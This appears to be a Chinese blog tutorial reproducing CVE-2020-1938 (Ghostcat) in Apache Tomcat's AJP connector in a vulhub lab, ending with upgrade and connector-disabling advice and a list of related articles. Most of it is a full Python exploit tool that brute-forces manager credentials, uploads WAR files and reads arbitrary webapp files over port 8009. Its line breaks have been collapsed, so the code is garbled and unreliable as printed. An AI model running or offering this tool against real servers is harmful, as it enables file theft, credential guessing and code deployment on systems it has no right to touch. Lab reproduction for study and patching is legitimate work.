目录

一、环境搭建

1、下载vulhub

2、启动环境

二、漏洞复现

1、使用nmap扫描目标

2、运行POC验证漏洞

3、POC代码

三、修复方法


一、环境搭建

1、下载vulhub

kali系统输入命令

git clone https://github.com/vulhub/vulhub.git

下载vulhub

2、启动环境

进入解压后的vulhub文件

进入tomcat文件夹

进入CVE-2020-1938文件夹

在该文件夹下打开终端,输入以下命令启动环境

二、漏洞复现

1、使用nmap扫描目标

发现开启了8080和8009两个端口,其中8009对应服务为ajp13,而Aapache Tomcat AJP文件包含漏洞就存在于此服务中。

攻击者可以利用该漏洞读取或包含Tomcat的webapp目录下的任何文件。例如,攻击者可以读取web应用程序的配置文件或源代码。此外,如果目标web应用具有文件上传功能,攻击者可能会利用Ghostcat漏洞在目标主机上执行包含文件的恶意代码。

2、运行POC验证漏洞

运行poc,成功读取/WEB-INF/web.xml文件,存在目标漏洞

3、POC代码

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from pprint import pprint, pformatfrom base64 import b64encode
import socket
import argparse
import logging
import re
import os
import logging
import sys
try:from urllib import unquote
except ImportError:from urllib.parse import unquotedef setup_logger():logger = logging.getLogger('meow')handler = logging.StreamHandler()logger.addHandler(handler)logger.setLevel(logging.DEBUG)return loggerlogger = setup_logger()# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)fr.method = methodfr.protocol = "HTTP/1.1"fr.req_uri = req_urifr.remote_addr = target_hostfr.remote_host = Nonefr.server_name = target_hostfr.server_port = 80fr.request_headers = {'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','SC_REQ_CONNECTION': 'keep-alive','SC_REQ_CONTENT_LENGTH': '0','SC_REQ_HOST': target_host,'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0','Accept-Encoding': 'gzip, deflate, sdch','Accept-Language': 'en-US,en;q=0.5','Upgrade-Insecure-Requests': '1','Cache-Control': 'max-age=0'}fr.is_ssl = Falsefr.attributes = []return frclass Tomcat(object):def __init__(self, target_host, target_port):self.target_host = target_hostself.target_port = target_portself.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.socket.connect((target_host, target_port))self.stream = self.socket.makefile("rb")def test_password(self, user, password):res = Falsestop = Falsecreds = b64encode(("%s:%s" % (user, password)).encode('utf-8')).decode('utf-8')self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + credswhile not stop:logger.debug("testing %s:%s" % (user, password))responses = self.forward_request.send_and_receive(self.socket, self.stream)snd_hdrs_res = responses[0]if snd_hdrs_res.http_status_code == 404:raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)elif snd_hdrs_res.http_status_code == 302:self.req_uri = snd_hdrs_res.response_headers.get('Location', '')logger.info("Redirecting to %s" % self.req_uri)self.forward_request.req_uri = self.req_urielif snd_hdrs_res.http_status_code == 200:logger.info("Found valid credz: %s:%s" % (user, password))res = Truestop = Trueif 'Set-Cookie' in snd_hdrs_res.response_headers:logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))elif snd_hdrs_res.http_status_code == 403:logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (user, password))stop = Trueelif snd_hdrs_res.http_status_code == 401:stop = Truereturn resdef start_bruteforce(self, users, passwords, req_uri, autostop):logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))self.req_uri = req_uriself.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)f_users = open(users, "r")f_passwords = open(passwords, "r")valid_credz = []try:for user in f_users:f_passwords.seek(0, 0)for password in f_passwords:if autostop and len(valid_credz) > 0:self.socket.close()return valid_credzuser = user.rstrip('\n')password = password.rstrip('\n')if self.test_password(user, password):valid_credz.append((user, password))except NotFoundException as e:logger.fatal(e.message)finally:logger.debug("Closing socket...")self.socket.close()return valid_credzdef perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):self.req_uri = req_uriself.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))if user is not None and password is not None:creds = b64encode(("%s:%s" % (user, password)).encode('utf-8')).decode('utf-8')self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + credsfor h in headers:self.forward_request.request_headers[h] = headers[h]for a in attributes:self.forward_request.attributes.append(a)responses = self.forward_request.send_and_receive(self.socket, self.stream)if len(responses) == 0:return None, Nonesnd_hdrs_res = responses[0]data_res = responses[1:-1]if len(data_res) == 0:logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))return snd_hdrs_res, data_resdef upload(self, filename, user, password, old_version, headers={}):deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)with open(filename, "rb") as f_input:with open("/tmp/request", "w+b") as f:s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(filename)s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'f.write(s_form_header.encode('utf-8'))f.write(f_input.read())f.write(s_form_footer.encode('utf-8'))data_len = os.path.getsize("/tmp/request")headers = {"SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti","SC_REQ_CONTENT_LENGTH": "%d" % data_len,"SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),"Origin": "http://%s" % (self.target_host),}if obj_cookie is not None:headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]if old_version == False:attributes.append({"name": "query_string", "value": deploy_csrf_token})old_apps = self.list_installed_applications(user, password, old_version)r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password, attributes=attributes)with open("/tmp/request", "rb") as f:br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)br.send_and_receive(self.socket, self.stream)r = AjpResponse.receive(self.stream)if r.prefix_code == AjpResponse.END_RESPONSE:logger.error('Upload failed')while r.prefix_code != AjpResponse.END_RESPONSE:r = AjpResponse.receive(self.stream)logger.debug('Upload seems normal. Checking...')new_apps = self.list_installed_applications(user, password, old_version)if len(new_apps) == len(old_apps) + 1:logger.info('Upload success!')else:logger.error('Upload failed')def get_error_page(self):return self.perform_request("/blablablablabla")def get_version(self):hdrs, data = self.get_error_page()for d in data:s = re.findall('(Apache Tomcat/[0-9\.]+)', d.data.decode('utf-8'))if len(s) > 0:return s[0]def get_csrf_token(self, user, password, old_version, headers={}, query=[]):# first we request the manager page to get the CSRF tokenhdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"', "".join([d.data.decode('utf8') for d in rdata]))if old_version == False:if len(deploy_csrf_token) == 0:logger.critical("Failed to get CSRF token. Check the credentials")returnlogger.debug('CSRF token = %s' % deploy_csrf_token[0])obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly", hdrs.response_headers.get('Set-Cookie', '').decode('utf-8'))if obj is not None:return deploy_csrf_token[0], objreturn deploy_csrf_token[0], Nonedef list_installed_applications(self, user, password, old_version, headers={}):deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)headers = {"SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded","SC_REQ_CONTENT_LENGTH": "0","SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),"Origin": "http://%s" % (self.target_host),}if obj_cookie is not None:headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},{"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]if old_version == False:attributes.append({"name": "query_string", "value": "%s" % deploy_csrf_token})hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password, attributes=attributes)found = []for d in data:im = re.findall('<small><a href="([^";]*)">', d.data.decode('utf8'))for app in im:found.append(unquote(app))return founddef undeploy(self, path, user, password, old_version, headers={}):deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)path_app = "path=%s" % pathheaders = {"SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded","SC_REQ_CONTENT_LENGTH": "0","SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),"Origin": "http://%s" % (self.target_host),}if obj_cookie is not None:headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},{"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]if old_version == False:attributes.append({"name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)})r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password, attributes=attributes)r = AjpResponse.receive(self.stream)if r.prefix_code == AjpResponse.END_RESPONSE:logger.error('Undeploy failed')# Check the successful messagefound = Falseregex = r'<small><strong>Message:<\/strong><\/small>&nbsp;<\/td>\s*<td class="row-left"><pre>(OK - .*'+path+')\s*<\/pre><\/td>'while r.prefix_code != AjpResponse.END_RESPONSE:r = AjpResponse.receive(self.stream)if r.prefix_code == 3:f = re.findall(regex, r.data.decode('utf-8'))if len(f) > 0:found = Trueif found:logger.info('Undeploy succeed')else:logger.error('Undeploy failed')if __name__ == "__main__":parser = argparse.ArgumentParser()subparsers = parser.add_subparsers()parser.add_argument("target", type=str, help="Hostname or IP to attack")parser.add_argument("--port", type=int, default=8009, help="AJP port to attack (default is 8009)")parser.add_argument('-v', '--verbose', action='count', default=1)parser_bf = subparsers.add_parser('bf', help='Bruteforce Basic authentication')parser_bf.set_defaults(which='bf')parser_bf.add_argument("req_uri", type=str, default="/manager/html", help="Resource to attack")parser_bf.add_argument("-U", "--users", type=str, help="Filename containing the usernames to test against the Tomcat manager AJP", required=True)parser_bf.add_argument("-P", "--passwords", type=str, help="Filename containing the passwords to test against the Tomcat manager AJP", required=True)parser_bf.add_argument('-s', '--stop', action='store_true', default=False, help="Stop when we find valid credz")#   parser_req = subparsers.add_parser('req', help='Request resource')
#   parser_req.set_defaults(which='req')
#   parser_req.add_argument("-m", "--method", type=str, default="GET", help="Request method (default=GET)", choices=AjpForwardRequest.REQUEST_METHODS.keys())parser_upload = subparsers.add_parser('upload', help='Upload WAR')parser_upload.set_defaults(which='upload')parser_upload.add_argument("filename", type=str, help="WAR file to upload")parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")parser_upload = subparsers.add_parser('undeploy', help='Undeploy WAR')parser_upload.set_defaults(which='undeploy')parser_upload.add_argument("path", type=str, help="Installed WAR path")parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")parser_version = subparsers.add_parser('version', help='Get version')parser_version.set_defaults(which='version')parser_upload = subparsers.add_parser('list', help='List installed applications')parser_upload.set_defaults(which='list')parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")read_file = subparsers.add_parser('read_file', help='Exploit CVE-2020-1938')read_file.set_defaults(which='read_file')read_file.add_argument("file_path", type=str, help="File to read")read_file.add_argument("-w", "--webapp", type=str, default="", help="webapp potential params: 'manager', 'host-manager', 'ROOT' or 'examples'")read_file.add_argument("-o", "--output", type=str, help="Output file (for binary files)")args = parser.parse_args()if args.verbose == 1:logger.setLevel(logging.INFO)else:logger.setLevel(logging.DEBUG)bf = Tomcat(args.target, args.port)if args.which == 'bf':bf.start_bruteforce(args.users, args.passwords, args.req_uri, args.stop)
#   elif args.which == 'req':
#       print bf.perform_request(args.req_uri, args.headers, args.method, args.user, args.password)elif args.which == 'upload':bf.upload(args.filename, args.user, args.password, args.old_version, args.headers)elif args.which == 'version':print(bf.get_version())elif args.which == 'list':apps = bf.list_installed_applications(args.user, args.password, args.old_version, args.headers)logger.info("Installed applications:")for app in apps:logger.info('- ' + app)elif args.which == 'undeploy':bf.undeploy(args.path, args.user, args.password, args.old_version, args.headers)elif args.which == 'read_file':attributes = [{"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},{"name": "req_attribute", "value": ("javax.servlet.include.path_info", args.file_path,)},{"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},]hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)output = sys.stdoutif args.output:output = open(args.output, "wb")for d in data:if args.output:output.write(d.data)else:try:output.write(d.data.decode('utf8'))except UnicodeDecodeError:output.write(repr(d.data))if args.output:output.close()

三、修复方法

1、升级tomcat版本

2、如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost

CVE-2020-1938 Aapache Tomcat AJP文件包含漏洞复现相关推荐

  1. Java安全-Tomcat AJP 文件包含漏洞(CVE-2020-1938)幽灵猫漏洞复现

    Tomcat AJP 文件包含漏洞(CVE-2020-1938) CVE-2020-1938 又名GhostCat ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含 ...

  2. Tomcat AJP 文件包含漏洞(CVE-2020-1938)

    目录 1.漏洞简介 2.AJP13 协议介绍 Tomcat 主要有两大功能: 3.Tomcat 远程文件包含漏洞分析 4.漏洞复现 5.漏洞分析 6.RCE 实现的原理 1.漏洞简介 2020 年 2 ...

  3. Apache Tomcat AJP 文件包含漏洞(CVE-2020-1938)

    漏洞描述 产生原因 环境搭建 漏洞复现 漏洞描述 Java 是目前 Web 开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在 ...

  4. index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

    CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其 ...

  5. 【通告更新】Apache Tomcat服务器文件包含漏洞安全风险通告第三次更新

    近日,奇安信CERT监测到CNVD发布了漏洞公告,对应CNVD漏洞编号:CNVD-2020-10487.CVE漏洞编号:CVE-2020-1938.CNVD漏洞公告称Apache Tomcat服务器存 ...

  6. Apache Tomcat 曝文件包含漏洞:攻击者可利用该漏洞读取webapp目录下的任意文件...

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | oschina 来源 | https://ww ...

  7. phpmyadminV4.8.1本地文件包含漏洞复现

    文章目录 一.phpMyadmin简介 二.什么是文件包含漏洞? 三.本地包含和远程包含 四.文件包含相关函数介绍 1.函数介绍 2.报错 3._once 4.小结 五.关于windows特性的一个小 ...

  8. php文件包含漏洞复现,文件包含漏洞(绕过姿势)

    当你的才华 还撑不起的野心时 那你就应该静下心来学习 目录 文件包含漏洞介绍 特殊姿势 亲测有效 php文件包含漏洞 本地包含漏洞(LFI) 远程包含漏洞 文件包含利用 读取敏感信息 远程包含shel ...

  9. tomcat ajp协议安全限制绕过漏洞_Apache tomcat 文件包含漏洞复现(CVE20201938)

    漏洞背景 Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer ...

最新文章

  1. 编程心法 之什么是MVP What is MVP development?
  2. ARMV7,ARMV8
  3. BugKuCTF WEB 管理员系统
  4. 数据可视化----我在寻找一款类似vfp或是access这样自带可视化风格的数据库或是键盘数据库...
  5. 外观模式(Façade Pattern)
  6. 保证Web数据库安全 认真把好七道关
  7. Oracle控制文件操作
  8. OpenCV_Corner Detect with FastFeatureDetector(基于FAST的角点检测) 及 SUSAN算子
  9. 计算机应用基础案例教程答案,计算机应用基础案例教程问答题答案
  10. Matlab画柱状图和饼状图以及横纵坐标设置,宽度设置等
  11. AVI文件在opencore框架下的解析
  12. Lucene Automaton(二)
  13. 企鹅号快速赚钱方法?企鹅号收益情况?
  14. swagger屏蔽某些接口
  15. 数学建模-马尔萨斯人口问题
  16. php interface 抽象类,解析PHP中的抽象类(abstract class)和 接口(interface)
  17. IEEE 802.3简介及各分类标准汇总
  18. 武汉大学计算机技术VB试题,武汉大学VB考试题库.doc
  19. 应用软件系统架构设计的“七种武器”
  20. 【雷达通信】基于matlab雷达仿真模拟系统【含Matlab源码 150期】

热门文章

  1. 关于K3wise系列的二次开发
  2. matlab activex下载安装,Matlab 2020b介绍及下载安装步骤
  3. 前端笔记-在Element UI中表格如何根据数据动态变化显示
  4. MongoDB安全认证
  5. MPU9250的MPL移植_HAL库(以STM32F103为主控)
  6. mysql学习笔记6——用phpmyadmin和在腾讯微云中创建数据库
  7. 碧瑶答疑网—系统设计和任务分配
  8. Windows环境下使用Docker安装MySQL
  9. 特征点匹配——FREAK算法介绍
  10. oracle 折旧公式,ebs,改写折旧.doc